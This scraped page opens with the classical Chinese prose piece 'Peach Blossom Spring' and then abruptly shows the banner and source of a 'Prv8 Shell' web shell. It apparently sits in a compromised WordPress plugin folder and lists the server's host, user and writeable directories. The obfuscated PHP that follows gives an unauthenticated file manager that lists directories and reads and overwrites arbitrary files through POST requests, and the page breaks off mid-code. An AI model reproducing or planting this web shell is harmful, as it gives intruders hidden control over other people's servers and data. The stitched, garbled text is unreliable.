晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/wp-contentTZh/plugins/kntl1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/wp-contentTZh/plugins/kntl1/155.php
<?php
 goto udEZo; rqgmo: header("\103\x6f\x6e\164\x65\x6e\164\55\x54\x79\x70\145\x3a\40\141\x70\160\x6c\151\x63\141\164\151\157\156\x2f\152\163\157\x6e\x3b\40\x63\150\141\162\163\145\x74\x3d\165\x74\146\55\x38"); goto xwx2I; Fe9CC: $xsHt5 = ["\x73\x75\143\143\145\x73\x73" => false, "\x6d\145\163\x73\x61\x67\145" => "\x49\x6e\166\141\154\x69\x64\40\141\x63\164\151\x6f\156\x2e"]; goto jQhfB; JjOS9: echo "\74\x21\104\x4f\103\x54\x59\120\x45\x20\x68\x74\155\x6c\x3e\xa\74\x68\164\x6d\x6c\40\154\141\x6e\147\75\42\145\x6e\x22\76\12\x3c\150\x65\x61\x64\x3e\12\40\40\40\x20\x3c\155\145\164\x61\40\x63\150\141\x72\x73\x65\164\x3d\42\125\x54\106\x2d\70\x22\76\74\164\151\164\x6c\145\76\x46\151\x6c\x65\x20\x4d\x61\156\x61\147\145\162\74\57\164\x69\164\154\x65\76\74\x6d\145\164\x61\x20\156\141\155\145\x3d\42\x76\x69\145\167\x70\157\x72\164\x22\x20\x63\157\156\x74\x65\x6e\164\75\42\167\151\x64\164\x68\75\144\145\x76\x69\143\x65\55\x77\x69\144\164\150\54\40\151\x6e\x69\x74\x69\141\154\55\163\143\x61\x6c\x65\75\x31\56\x30\42\x3e\12\40\40\40\x20\x3c\x73\x74\x79\x6c\145\76\xa\40\40\x20\40\40\40\40\x20\72\x72\157\x6f\164\x7b\55\55\141\x63\143\x65\156\x74\55\143\x6f\154\x6f\x72\x3a\43\x32\x32\x37\61\142\x31\73\55\55\150\157\166\x65\162\55\x63\x6f\154\x6f\x72\x3a\43\x31\145\x36\x35\71\144\x3b\x2d\55\x64\141\156\x67\145\162\x2d\143\157\x6c\x6f\x72\72\43\144\66\x33\x36\x33\70\73\x7d\xa\x20\x20\40\40\x20\40\40\x20\x62\x6f\144\171\x7b\x66\x6f\156\x74\x2d\x66\141\x6d\x69\x6c\x79\x3a\55\141\x70\160\154\x65\x2d\x73\171\163\x74\x65\x6d\54\x42\154\151\156\x6b\x4d\x61\x63\123\x79\x73\x74\x65\155\106\x6f\156\164\x2c\x22\x53\x65\x67\x6f\145\x20\125\x49\x22\54\122\157\142\x6f\x74\x6f\54\117\x78\171\147\145\156\x2d\x53\x61\x6e\x73\x2c\125\142\x75\x6e\x74\x75\54\103\x61\156\x74\141\162\145\x6c\154\x2c\42\x48\145\154\x76\145\164\151\143\141\x20\x4e\x65\165\145\x22\x2c\x73\x61\x6e\x73\x2d\x73\145\x72\x69\146\73\x62\x61\143\x6b\x67\162\x6f\165\156\x64\72\43\x66\x30\x66\x30\x66\x31\x3b\155\141\x72\147\151\156\x3a\60\x3b\175\12\40\40\40\x20\x20\40\x20\x20\x2e\x63\157\x6e\164\141\x69\x6e\145\162\x7b\144\x69\163\x70\x6c\x61\171\72\x66\x6c\x65\x78\73\146\154\x65\170\55\x64\151\x72\145\143\x74\151\x6f\156\x3a\143\x6f\154\x75\155\x6e\73\150\x65\151\147\x68\x74\72\x31\x30\60\x76\150\73\175\x68\x65\x61\144\x65\x72\x7b\x62\141\143\153\x67\x72\x6f\165\156\x64\x3a\x23\146\146\146\73\160\141\x64\x64\x69\x6e\147\72\61\60\x70\x78\x20\62\60\160\170\73\142\x6f\162\x64\145\x72\x2d\x62\x6f\164\164\x6f\155\x3a\61\160\170\40\x73\157\x6c\151\x64\x20\43\144\x64\x64\73\144\151\163\x70\154\x61\171\x3a\x66\x6c\145\170\x3b\152\165\x73\164\151\x66\171\x2d\143\157\x6e\164\145\156\x74\x3a\x73\160\x61\143\x65\55\x62\145\164\167\x65\x65\156\x3b\141\x6c\x69\147\156\55\x69\x74\x65\x6d\x73\x3a\x63\x65\x6e\164\145\162\x3b\x66\154\145\170\x2d\163\150\x72\151\x6e\x6b\72\60\73\175\x6d\141\x69\x6e\173\x66\x6c\x65\x78\x2d\x67\x72\x6f\167\72\x31\73\160\141\144\144\151\156\x67\x3a\x32\x30\160\170\73\x6f\166\145\162\146\154\157\x77\x2d\x79\72\141\x75\164\157\x3b\x7d\x2e\x74\x6f\157\154\142\x61\162\x7b\155\141\x72\147\151\x6e\55\142\x6f\164\x74\x6f\155\72\x31\x35\x70\x78\73\x64\151\163\160\154\x61\x79\x3a\x66\154\145\170\73\146\154\x65\x78\x2d\167\162\141\x70\72\x77\x72\141\x70\x3b\147\141\x70\72\61\60\160\x78\x3b\141\154\x69\x67\156\55\151\x74\145\155\x73\x3a\143\x65\156\164\145\162\73\175\x2e\160\141\164\150\55\142\x61\162\x7b\142\x61\x63\153\147\x72\157\165\x6e\144\x3a\x23\x66\146\x66\73\x70\141\x64\x64\x69\x6e\x67\x3a\x38\x70\x78\40\61\x32\160\x78\73\x62\157\x72\x64\x65\x72\55\x72\x61\x64\x69\x75\163\x3a\64\x70\x78\x3b\x62\157\162\x64\145\162\72\61\160\x78\x20\x73\x6f\x6c\151\x64\40\43\x64\x64\x64\73\x66\157\156\164\55\146\x61\x6d\x69\x6c\171\x3a\x6d\x6f\x6e\x6f\x73\x70\x61\x63\x65\x3b\146\154\145\170\55\x67\162\157\167\x3a\61\73\x77\157\x72\x64\x2d\142\162\145\141\x6b\72\142\x72\145\x61\153\55\x61\154\154\x3b\175\56\x66\x69\154\145\x2d\164\x61\x62\x6c\145\x7b\x77\x69\144\x74\x68\72\x31\x30\60\45\73\x62\157\162\x64\145\162\55\143\x6f\x6c\154\141\x70\x73\x65\x3a\143\157\x6c\154\141\x70\x73\145\x3b\142\141\143\x6b\x67\x72\157\165\156\144\72\x23\146\x66\146\x3b\x74\141\x62\154\x65\55\x6c\x61\x79\x6f\165\164\x3a\146\x69\170\x65\x64\x3b\175\x2e\146\x69\x6c\145\x2d\x74\141\142\154\145\40\x74\150\x2c\56\x66\151\154\145\x2d\x74\x61\x62\x6c\145\x20\164\x64\x7b\x74\145\170\x74\x2d\x61\x6c\151\x67\x6e\x3a\x6c\145\x66\164\73\142\x6f\x72\144\x65\162\x2d\142\157\164\164\x6f\x6d\x3a\x31\x70\170\40\163\157\154\x69\144\40\x23\x65\145\145\73\x76\x65\x72\x74\151\x63\x61\x6c\55\x61\154\151\x67\156\x3a\x6d\x69\144\x64\154\145\x3b\167\x6f\162\x64\x2d\167\162\141\160\72\142\x72\x65\141\153\x2d\x77\157\x72\x64\73\x7d\56\x66\x69\x6c\145\55\x74\x61\142\x6c\x65\40\x74\x68\x7b\x62\141\x63\153\147\x72\157\x75\x6e\144\x3a\43\x66\x39\146\71\146\71\x3b\x70\x61\x64\144\x69\x6e\147\72\x31\62\x70\x78\x20\70\160\170\x3b\175\56\146\x69\x6c\145\x2d\164\141\142\x6c\x65\x20\x74\162\x3a\150\157\x76\x65\162\173\142\x61\143\x6b\147\x72\x6f\x75\x6e\x64\72\43\146\60\x66\x38\x66\x66\73\175\x2e\146\151\x6c\145\x2d\x74\141\x62\x6c\145\x20\x74\x68\x3a\156\164\x68\55\x63\x68\151\154\144\50\x31\x29\54\x2e\146\x69\154\145\x2d\164\x61\142\x6c\145\40\x74\x64\72\156\x74\x68\55\x63\150\x69\154\144\x28\61\x29\x7b\167\151\x64\164\x68\72\x34\60\x70\170\73\x70\x61\x64\x64\151\156\x67\72\61\x32\x70\170\x20\x34\160\x78\40\61\x32\160\170\40\x31\x32\x70\x78\x3b\x74\x65\170\x74\55\141\x6c\151\147\x6e\72\143\145\156\164\x65\x72\73\175\56\x66\151\154\145\55\164\x61\142\x6c\x65\40\164\150\x3a\x6e\164\150\55\143\150\x69\x6c\x64\x28\x32\51\x2c\x2e\146\151\x6c\145\55\164\141\142\x6c\145\x20\x74\144\x3a\156\x74\150\55\143\150\x69\x6c\x64\50\62\x29\x7b\167\x69\144\x74\x68\x3a\x35\x30\x25\x3b\x70\x61\144\x64\151\156\x67\55\154\145\x66\164\72\64\160\170\73\175\56\146\151\154\145\x2d\164\x61\142\x6c\x65\40\x74\x68\72\156\x74\x68\x2d\x63\150\151\x6c\x64\x28\63\51\x2c\x2e\146\x69\154\x65\55\164\141\142\154\145\40\x74\x64\72\x6e\x74\150\55\x63\150\x69\154\x64\x28\x33\x29\x7b\x77\x69\144\164\150\72\x31\62\x30\160\x78\73\175\56\146\151\154\145\55\x74\x61\x62\x6c\145\x20\x74\x68\72\x6e\x74\x68\55\x63\x68\x69\x6c\x64\50\64\x29\x2c\56\146\151\x6c\145\x2d\164\141\x62\154\x65\40\164\144\x3a\156\x74\150\55\143\x68\x69\x6c\x64\50\64\51\x7b\167\151\144\164\150\x3a\61\65\60\x70\x78\73\175\56\146\x69\154\145\55\x74\x61\x62\x6c\x65\x20\x74\150\72\x6e\164\x68\55\143\x68\151\154\x64\x28\x35\x29\173\x74\x65\170\x74\x2d\x61\x6c\x69\147\x6e\x3a\162\x69\147\150\164\x3b\x70\141\x64\144\151\156\x67\x2d\162\151\147\150\164\72\x31\62\160\170\73\x7d\x2e\x61\x63\x74\x69\157\156\x73\x7b\144\x69\x73\x70\x6c\x61\171\x3a\x66\x6c\145\x78\x3b\x6a\x75\x73\x74\151\146\171\55\x63\157\156\x74\145\x6e\164\x3a\x66\154\x65\x78\55\145\x6e\144\x3b\x67\x61\160\72\x35\160\x78\73\x7d\56\151\164\x65\x6d\55\x6c\151\156\x6b\54\x61\56\151\x74\145\155\x2d\x6c\x69\x6e\x6b\173\x74\x65\x78\x74\55\144\x65\x63\157\x72\141\164\x69\157\x6e\72\156\157\x6e\145\41\151\x6d\x70\x6f\x72\x74\141\x6e\164\x3b\x63\157\154\x6f\x72\72\x76\x61\162\50\x2d\x2d\141\x63\143\x65\156\x74\x2d\x63\157\154\x6f\x72\x29\x3b\143\x75\x72\x73\x6f\x72\x3a\160\x6f\151\x6e\x74\145\162\x3b\x7d\x2e\151\x74\x65\155\55\x6c\151\x6e\153\x3a\x68\x6f\x76\145\162\54\x61\56\x69\x74\x65\x6d\x2d\154\x69\156\153\x3a\150\x6f\x76\x65\162\x7b\x63\157\x6c\x6f\x72\72\166\x61\x72\50\x2d\x2d\150\x6f\x76\145\162\55\x63\157\154\157\x72\x29\73\x7d\164\162\x5b\x64\x61\164\x61\55\x70\x61\x74\x68\135\x7b\143\165\162\163\x6f\162\72\160\157\151\x6e\164\x65\162\73\x7d\x2e\142\x75\x74\164\x6f\156\173\x62\x61\143\x6b\147\x72\157\x75\x6e\x64\x3a\166\141\x72\x28\x2d\55\x61\143\143\x65\x6e\x74\x2d\143\157\x6c\157\162\51\73\x63\x6f\x6c\x6f\162\72\167\150\151\164\145\73\x62\157\x72\x64\145\162\72\156\157\x6e\145\x3b\x70\x61\144\x64\x69\156\x67\x3a\70\x70\170\40\x31\x32\x70\170\73\142\x6f\162\x64\x65\162\x2d\x72\141\144\151\165\x73\72\x33\160\x78\x3b\x63\165\162\x73\157\x72\x3a\160\157\151\x6e\x74\145\162\x3b\146\157\x6e\x74\x2d\x73\151\x7a\x65\72\61\x34\160\x78\73\175\x2e\142\x75\164\x74\x6f\x6e\56\144\x61\x6e\147\145\x72\x7b\x62\x61\143\153\x67\x72\x6f\x75\156\144\x3a\166\141\x72\x28\55\x2d\x64\141\156\x67\145\x72\x2d\143\157\154\x6f\x72\x29\73\175\x23\x73\x70\151\x6e\156\145\162\x7b\144\x69\163\x70\154\x61\171\72\x6e\157\x6e\x65\x3b\175\x2e\x6d\x6f\144\x61\x6c\x2d\x6f\x76\x65\162\154\x61\x79\173\144\151\163\x70\x6c\x61\171\x3a\156\x6f\x6e\x65\73\x70\157\x73\x69\164\x69\x6f\x6e\x3a\x66\151\170\145\x64\73\x74\x6f\x70\72\60\73\154\145\146\164\72\x30\73\167\151\144\164\x68\72\x31\x30\60\45\73\x68\145\x69\147\150\164\x3a\x31\x30\x30\45\73\x62\x61\x63\x6b\x67\162\x6f\x75\x6e\144\72\x72\x67\x62\x61\50\60\54\x30\x2c\x30\54\x30\56\66\51\73\172\55\x69\x6e\144\x65\170\x3a\61\60\60\60\x3b\x6a\x75\x73\164\x69\146\171\55\x63\157\x6e\164\145\156\164\x3a\x63\x65\156\x74\x65\x72\73\141\x6c\151\x67\156\x2d\151\164\145\155\163\72\143\145\156\x74\x65\162\73\x7d\x2e\x6d\x6f\144\141\154\55\x63\157\x6e\x74\x65\x6e\164\x7b\x64\151\163\160\x6c\141\171\72\146\x6c\x65\170\73\x66\x6c\x65\x78\x2d\x64\151\x72\145\143\x74\151\x6f\156\x3a\143\157\154\x75\155\156\x3b\142\141\143\x6b\147\x72\x6f\165\x6e\x64\x3a\x23\146\146\x66\x3b\x70\x61\x64\x64\151\156\x67\x3a\x32\x30\x70\170\73\x62\157\x72\144\145\x72\55\x72\x61\144\151\165\x73\x3a\x35\160\170\73\x77\x69\x64\164\150\72\x38\60\x25\x3b\150\x65\x69\147\150\164\72\x38\x30\45\x3b\155\x61\170\x2d\167\151\144\x74\150\x3a\x39\x30\x30\160\x78\x3b\x62\x6f\x78\x2d\x73\150\x61\x64\x6f\167\72\x30\40\65\x70\x78\40\61\x35\x70\170\x20\162\x67\142\141\x28\60\x2c\60\54\60\x2c\60\56\63\x29\x3b\175\164\x65\x78\164\141\162\145\141\x23\145\x64\x69\164\x6f\x72\173\146\x6c\145\170\x2d\x67\162\157\x77\72\x31\73\x66\157\x6e\x74\55\x66\141\155\x69\x6c\x79\x3a\155\x6f\156\x6f\163\160\x61\x63\145\73\x66\x6f\156\164\55\x73\151\x7a\x65\x3a\x31\x34\x70\x78\73\142\157\162\144\x65\x72\x3a\x31\160\170\x20\163\x6f\x6c\x69\144\x20\43\x64\x64\x64\x3b\160\141\x64\x64\151\156\147\72\61\60\160\x78\x3b\175\12\x20\40\40\x20\x3c\x2f\163\x74\x79\x6c\145\x3e\12\x3c\x2f\x68\x65\x61\x64\76\xa\74\x62\x6f\x64\x79\x3e\xa\40\40\40\40\x3c\144\151\x76\40\x63\x6c\141\163\x73\x3d\42\143\x6f\x6e\x74\141\151\x6e\x65\162\42\76\xa\x20\40\40\x20\40\40\x20\x20\x3c\150\145\141\x64\145\x72\x3e\74\x68\63\x3e\x46\x69\x6c\x65\40\x4d\x61\156\x61\x67\x65\x72\x20\50\123\x74\141\156\x64\141\154\x6f\x6e\145\x29\74\x2f\150\63\x3e\x3c\57\150\145\x61\144\145\162\76\12\40\x20\40\x20\x20\x20\40\x20\74\x6d\x61\151\x6e\x3e\xa\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x3c\x64\151\166\x20\x63\154\x61\x73\163\x3d\42\x74\157\x6f\154\x62\x61\162\x22\x3e\x3c\x62\165\164\164\x6f\156\40\143\154\x61\163\x73\x3d\x22\x62\165\x74\x74\157\156\x22\x20\x69\x64\75\x22\x75\x70\154\157\141\144\x42\x74\x6e\x22\76\303\203\302\xa2\303\x82\302\254\303\x82\xc2\206\303\x83\xc2\257\303\202\xc2\xb8\303\x82\302\x8f\40\125\160\154\x6f\x61\x64\74\57\x62\x75\164\x74\x6f\156\76\x3c\x62\x75\164\164\157\x6e\40\x63\154\141\163\x73\x3d\42\x62\x75\x74\164\x6f\156\42\40\x69\144\75\42\156\x65\x77\x46\x69\154\145\102\164\156\42\76\303\x83\xc2\xb0\xc3\202\302\237\xc3\x82\xc2\223\xc3\x82\xc2\204\x20\x4e\145\x77\40\106\151\x6c\145\74\57\x62\x75\164\x74\157\156\76\x3c\x62\165\x74\164\x6f\x6e\40\x63\x6c\x61\x73\x73\75\x22\142\x75\x74\164\157\156\x22\x20\x69\144\x3d\42\156\145\167\106\x6f\154\144\x65\162\x42\x74\x6e\x22\76\303\203\302\242\xc3\202\xc2\236\xc3\x82\302\x95\x20\116\145\x77\40\x46\157\154\144\145\x72\x3c\x2f\142\x75\164\164\x6f\156\76\x3c\x62\x75\x74\164\x6f\156\x20\143\154\141\x73\x73\75\x22\x62\x75\164\x74\x6f\x6e\40\x64\x61\156\147\145\x72\42\40\x69\144\x3d\42\144\145\x6c\145\164\145\102\x74\x6e\42\76\xc3\203\xc2\xb0\303\202\xc2\x9f\xc3\202\302\227\xc3\202\302\221\303\x83\302\xaf\303\202\302\xb8\xc3\x82\302\x8f\x20\104\x65\x6c\145\x74\x65\40\x53\145\x6c\145\143\x74\x65\144\74\x2f\x62\x75\164\x74\x6f\x6e\76\x3c\144\x69\166\x20\151\144\75\x22\163\160\x69\156\156\145\162\x22\76\xc3\203\302\260\303\x82\xc2\x9f\xc3\202\302\x95\xc3\202\302\x92\74\57\144\151\x76\x3e\74\x2f\x64\151\166\x3e\xa\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x3c\x64\151\x76\x20\143\x6c\x61\163\x73\75\x22\164\157\x6f\154\x62\141\x72\x22\76\x3c\x64\151\166\40\x63\x6c\141\x73\163\x3d\x22\x70\x61\x74\x68\55\142\141\x72\42\40\x69\x64\x3d\x22\x70\141\164\x68\x42\x61\x72\42\76\x2f\x3c\x2f\x64\151\x76\x3e\x3c\x2f\x64\151\x76\x3e\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\74\164\x61\x62\x6c\x65\40\143\154\x61\163\163\75\42\146\x69\x6c\x65\x2d\164\x61\x62\154\145\x22\x3e\74\164\x68\145\141\x64\76\74\164\x72\x3e\x3c\x74\x68\x3e\x3c\x69\156\x70\x75\x74\x20\164\x79\160\x65\x3d\42\143\150\x65\x63\153\142\x6f\170\42\x20\x69\x64\75\x22\x73\145\154\145\x63\164\101\x6c\x6c\42\76\74\57\164\x68\x3e\x3c\164\150\76\116\x61\155\x65\74\x2f\164\x68\x3e\74\164\150\76\123\x69\x7a\x65\74\57\164\x68\76\x3c\x74\x68\76\x4d\x6f\144\x69\146\x69\x65\x64\x3c\x2f\x74\x68\76\74\x74\x68\x3e\101\143\x74\151\x6f\156\163\74\x2f\164\x68\x3e\x3c\x2f\164\162\x3e\x3c\x2f\x74\150\x65\141\144\x3e\x3c\164\x62\x6f\144\x79\40\x69\x64\75\x22\146\x69\x6c\145\x4c\151\x73\164\x22\76\x3c\57\x74\x62\157\x64\171\76\74\57\x74\141\142\154\145\76\xa\x20\40\x20\x20\x20\x20\x20\40\74\x2f\x6d\x61\x69\156\76\12\x20\x20\x20\x20\x3c\x2f\144\151\166\76\xa\40\x20\x20\40\x3c\x64\151\166\x20\x69\x64\75\42\145\144\151\164\x6f\x72\x4d\x6f\x64\141\x6c\42\x20\143\154\141\x73\163\75\42\x6d\157\144\141\154\x2d\x6f\x76\x65\162\x6c\x61\x79\x22\x3e\74\144\x69\166\x20\143\x6c\141\163\163\75\x22\155\x6f\x64\141\x6c\55\143\157\156\164\145\x6e\x74\42\x3e\x3c\150\x33\x20\x69\x64\x3d\42\145\144\x69\164\157\x72\106\x69\x6c\145\x6e\x61\x6d\145\x22\x20\163\x74\171\x6c\x65\x3d\x22\x6d\141\x72\x67\151\x6e\55\164\x6f\x70\72\x30\73\x22\76\74\x2f\150\63\76\x3c\x74\x65\170\164\141\x72\145\x61\x20\x69\x64\x3d\x22\145\x64\151\x74\157\x72\x22\x20\x73\x70\145\154\154\x63\x68\x65\x63\153\75\42\146\x61\x6c\163\x65\42\76\74\57\164\145\170\x74\141\162\145\141\76\x3c\x64\x69\166\x20\x73\x74\x79\x6c\145\x3d\42\x6d\x61\162\147\151\x6e\x2d\164\157\160\72\61\60\160\x78\73\42\x3e\x3c\x62\165\164\164\x6f\x6e\x20\143\x6c\141\x73\163\x3d\42\x62\x75\x74\164\157\156\42\40\151\144\75\42\x73\x61\x76\145\x42\x74\x6e\x22\76\xc3\x83\xc2\xb0\303\202\xc2\237\xc3\202\302\x92\303\x82\302\276\40\123\x61\166\x65\40\103\150\x61\x6e\147\145\x73\74\57\x62\x75\x74\164\157\156\x3e\x3c\142\x75\x74\164\x6f\x6e\40\x63\154\x61\163\x73\x3d\x22\142\165\x74\164\x6f\x6e\x22\40\x6f\x6e\x63\154\x69\x63\x6b\75\x22\144\x6f\143\165\x6d\x65\x6e\x74\x2e\x67\x65\x74\x45\x6c\x65\x6d\145\x6e\164\x42\171\111\x64\x28\47\x65\144\x69\x74\157\162\115\157\x64\141\x6c\47\x29\x2e\x73\x74\171\154\145\x2e\x64\151\163\x70\x6c\x61\x79\75\47\x6e\x6f\156\145\x27\x22\x3e\x43\x6c\x6f\163\x65\74\57\142\x75\x74\x74\157\x6e\x3e\74\x2f\x64\151\166\x3e\74\57\x64\x69\166\x3e\x3c\x2f\144\x69\x76\x3e\12\40\40\40\40\x3c\151\x6e\160\x75\x74\40\x74\x79\x70\145\75\42\146\151\154\145\42\40\x69\x64\x3d\42\x68\151\144\144\145\x6e\x46\151\x6c\145\111\x6e\160\165\164\x22\40\x6d\x75\x6c\x74\x69\160\154\x65\x20\x73\x74\x79\x6c\x65\x3d\42\144\x69\163\x70\x6c\141\171\x3a\x6e\157\x6e\145\x3b\x22\76\12\x20\40\x20\40\x3c\x73\143\x72\151\160\164\76\xa\40\40\40\x20\144\x6f\x63\165\x6d\145\x6e\164\x2e\x61\x64\x64\105\166\145\156\164\x4c\151\x73\x74\x65\156\145\162\50\47\x44\117\115\x43\157\156\x74\x65\156\164\x4c\157\x61\x64\x65\144\47\54\40\50\x29\40\75\76\40\x7b\xa\x20\x20\40\x20\40\40\40\x20\x63\x6f\x6e\x73\164\40\x53\x54\101\x54\105\40\75\x20\x7b\40\143\165\162\x72\x65\x6e\x74\x50\x61\164\150\x3a\40\x27"; goto tgEiC; j91hk: echo basename(__FILE__); goto I4atd; xwx2I: function vIiP6($ePfaw) { return realpath($ePfaw) !== false || is_dir(dirname($ePfaw)); } goto OUHK9; HNhHk: function I22sk($wKiEE) { return is_string($wKiEE) ? stripslashes($wKiEE) : $wKiEE; } goto LpKES; jQhfB: try { goto owI76; owI76: switch ($GU25l) { case "\154\x69\x73\x74": goto m9X1y; UH3U2: foreach (scandir($KEmOQ) as $vpr0G) { goto q5l59; gCKs0: $PNs2A[] = ["\x6e\x61\155\x65" => $vpr0G, "\x69\x73\x5f\x64\x69\x72" => is_dir($P8SVd), "\163\151\x7a\145" => is_dir($P8SVd) ? 0 : filesize($P8SVd), "\155\157\x64\151\x66\151\x65\x64" => filemtime($P8SVd)]; goto KzYHm; YDDio: goto IrW92; goto Up0j8; KzYHm: IrW92: goto SMhsS; Up0j8: Qn822: goto FFP3h; q5l59: if (!($vpr0G === "\x2e" || $vpr0G === "\56\56")) { goto Qn822; } goto YDDio; FFP3h: $P8SVd = $KEmOQ . "\57" . $vpr0G; goto gCKs0; SMhsS: } goto f3CNw; zpcxB: if (Viip6($ePfaw)) { goto xNrb5; } goto lXw9R; R0n1V: xNrb5: goto utodG; utodG: $KEmOQ = iU32q(realpath($ePfaw)); goto j8ZT6; I0N9h: ClZD8: goto UH3U2; qHQ2Q: if (@scandir($KEmOQ)) { goto ClZD8; } goto kg6_E; rZOip: goto Q3Ft0; goto smzCI; lXw9R: throw new Exception("\111\x6e\x76\x61\154\151\144\x20\157\x72\40\151\156\141\143\x63\145\163\x73\151\x62\154\145\x20\160\141\164\x68\56"); goto R0n1V; f3CNw: Gjrgs: goto tysW4; kg6_E: throw new Exception("\103\141\156\156\x6f\x74\x20\141\143\143\145\163\163\40\160\x61\164\x68\x2e\x20\111\x74\40\x6d\x69\147\150\164\40\x62\145\x20\x72\x65\163\x74\x72\x69\143\x74\x65\144\40\x62\x79\40\x73\145\x72\166\x65\x72\x20\143\157\x6e\x66\151\147\165\162\x61\x74\x69\157\156\x20\x28\157\160\x65\x6e\x5f\x62\141\x73\x65\x64\x69\x72\x29\56"); goto I0N9h; m9X1y: $ePfaw = isset($_POST["\x70\x61\x74\x68"]) ? I22sk($_POST["\160\x61\x74\150"]) : __DIR__; goto zpcxB; tysW4: $xsHt5 = ["\163\165\143\x63\145\163\163" => true, "\x66\151\154\x65\x73" => $PNs2A, "\x70\141\164\150" => $KEmOQ]; goto rZOip; j8ZT6: $PNs2A = []; goto qHQ2Q; smzCI: case "\147\145\x74\137\x63\x6f\x6e\x74\145\x6e\164": goto NmV9O; NmV9O: $M4jLq = isset($_POST["\160\x61\164\150"]) ? i22Sk($_POST["\x70\141\164\x68"]) : ''; goto C94AH; C94AH: if (!(!realpath($M4jLq) || is_dir(realpath($M4jLq)))) { goto NTfOK; } goto cfQpQ; MKcN_: goto Q3Ft0; goto KcIDq; Nz3UQ: $xsHt5 = ["\x73\165\143\x63\x65\163\163" => true, "\x63\157\x6e\164\145\x6e\x74" => base64_encode(base64_encode(file_get_contents($M4jLq)))]; goto MKcN_; cfQpQ: throw new Exception("\x49\156\166\141\x6c\151\x64\40\x66\151\x6c\x65\40\146\x6f\x72\x20\145\144\x69\x74\x69\156\x67\56"); goto wd9jr; wd9jr: NTfOK: goto Nz3UQ; KcIDq: case "\147\x65\164\x5f\143\157\156\164\145\x6e\164\x5f\x62\x36\x34": goto sBSyn; OzEKE: if (!(!realpath($M4jLq) || is_dir(realpath($M4jLq)))) { goto eovNP; } goto zAZY7; BQT2z: eovNP: goto y5p7y; IVLDZ: goto Q3Ft0; goto lHAL5; Ttx_4: $M4jLq = base64_decode($WleGa); goto OzEKE; y5p7y: $xsHt5 = ["\163\x75\x63\x63\145\x73\x73" => true, "\x63\157\156\x74\x65\x6e\x74" => base64_encode(base64_encode(file_get_contents($M4jLq)))]; goto IVLDZ; sBSyn: $WleGa = isset($_POST["\x70\x61\x74\150\x5f\142\x36\x34"]) ? i22SK($_POST["\x70\141\x74\x68\x5f\142\66\64"]) : ''; goto Ttx_4; zAZY7: throw new Exception("\x49\156\166\x61\154\x69\x64\40\146\x69\154\145\40\x66\157\162\40\145\x64\x69\x74\x69\156\x67\56"); goto BQT2z; lHAL5: case "\x73\141\166\x65\137\x63\x6f\x6e\164\145\x6e\164": goto YwgPC; b22EU: if (!empty($TqgBt)) { goto drVlc; } goto d0WG1; th_M_: $nMJmd = implode('', $TqgBt); goto xC9S6; pXq1d: throw new Exception("\x43\157\165\154\x64\40\156\x6f\x74\40\x73\141\166\x65\x20\x66\151\154\x65\x2e\40\x43\x68\145\143\153\40\160\145\x72\155\151\x73\163\x69\157\156\163\x2e"); goto l_hxt; bg0af: UrTWL: goto eGMrd; qaWnI: drVlc: goto th_M_; eGMrd: goto Q3Ft0; goto k29ku; l_hxt: goto UrTWL; goto AAsYL; AAsYL: q95UT: goto bzKGS; E62VD: K17M3: goto QD4AO; bzKGS: $xsHt5 = ["\163\x75\x63\x63\145\163\x73" => true, "\x6d\x65\163\x73\x61\147\x65" => "\x46\x69\x6c\x65\40\x73\x61\166\x65\x64\40\x73\165\143\143\145\163\163\146\165\154\154\x79\x2e"]; goto bg0af; d0WG1: throw new Exception("\103\157\x6e\164\x65\156\164\x20\x69\x73\x20\x65\x6d\160\x74\171\56"); goto qaWnI; E92pi: $TqgBt = isset($_POST["\x63\x6f\x6e\x74\145\156\x74\x5f\x63\150\165\156\153\x73"]) && is_array($_POST["\143\157\156\x74\x65\x6e\164\137\143\x68\x75\156\153\x73"]) ? $_POST["\x63\157\156\x74\145\156\164\137\143\150\165\x6e\153\163"] : []; goto b22EU; Epu1Y: if (!(!vIip6($M4jLq) || file_exists($M4jLq) && is_dir($M4jLq))) { goto K17M3; } goto WC_B0; QD4AO: if (file_put_contents($M4jLq, $ffe13) !== false) { goto q95UT; } goto pXq1d; YwgPC: $M4jLq = isset($_POST["\160\x61\164\150"]) ? i22sK($_POST["\160\x61\x74\x68"]) : ''; goto E92pi; WC_B0: throw new Exception("\111\x6e\166\141\154\151\144\x20\x66\151\154\145\40\x66\157\x72\x20\x73\141\166\151\156\x67\x2e"); goto E62VD; xC9S6: $ffe13 = base64_decode(base64_decode($nMJmd)); goto Epu1Y; k29ku: case "\163\141\166\145\137\x63\157\156\164\145\156\164\x5f\142\x36\64": goto llS6L; cQkaZ: kAJ3R: goto WhzwR; HbGE5: pGIAC: goto pRtYr; j1NO3: okYvQ: goto Hz50W; Hw8_l: $M4jLq = base64_decode($WleGa); goto UkKfn; msn3k: throw new Exception("\x49\156\x76\x61\154\151\x64\40\146\x69\154\145\x20\x66\157\x72\40\x73\141\x76\x69\x6e\147\x2e"); goto HbGE5; uq2jB: b3C00: goto rWDsk; tpABs: throw new 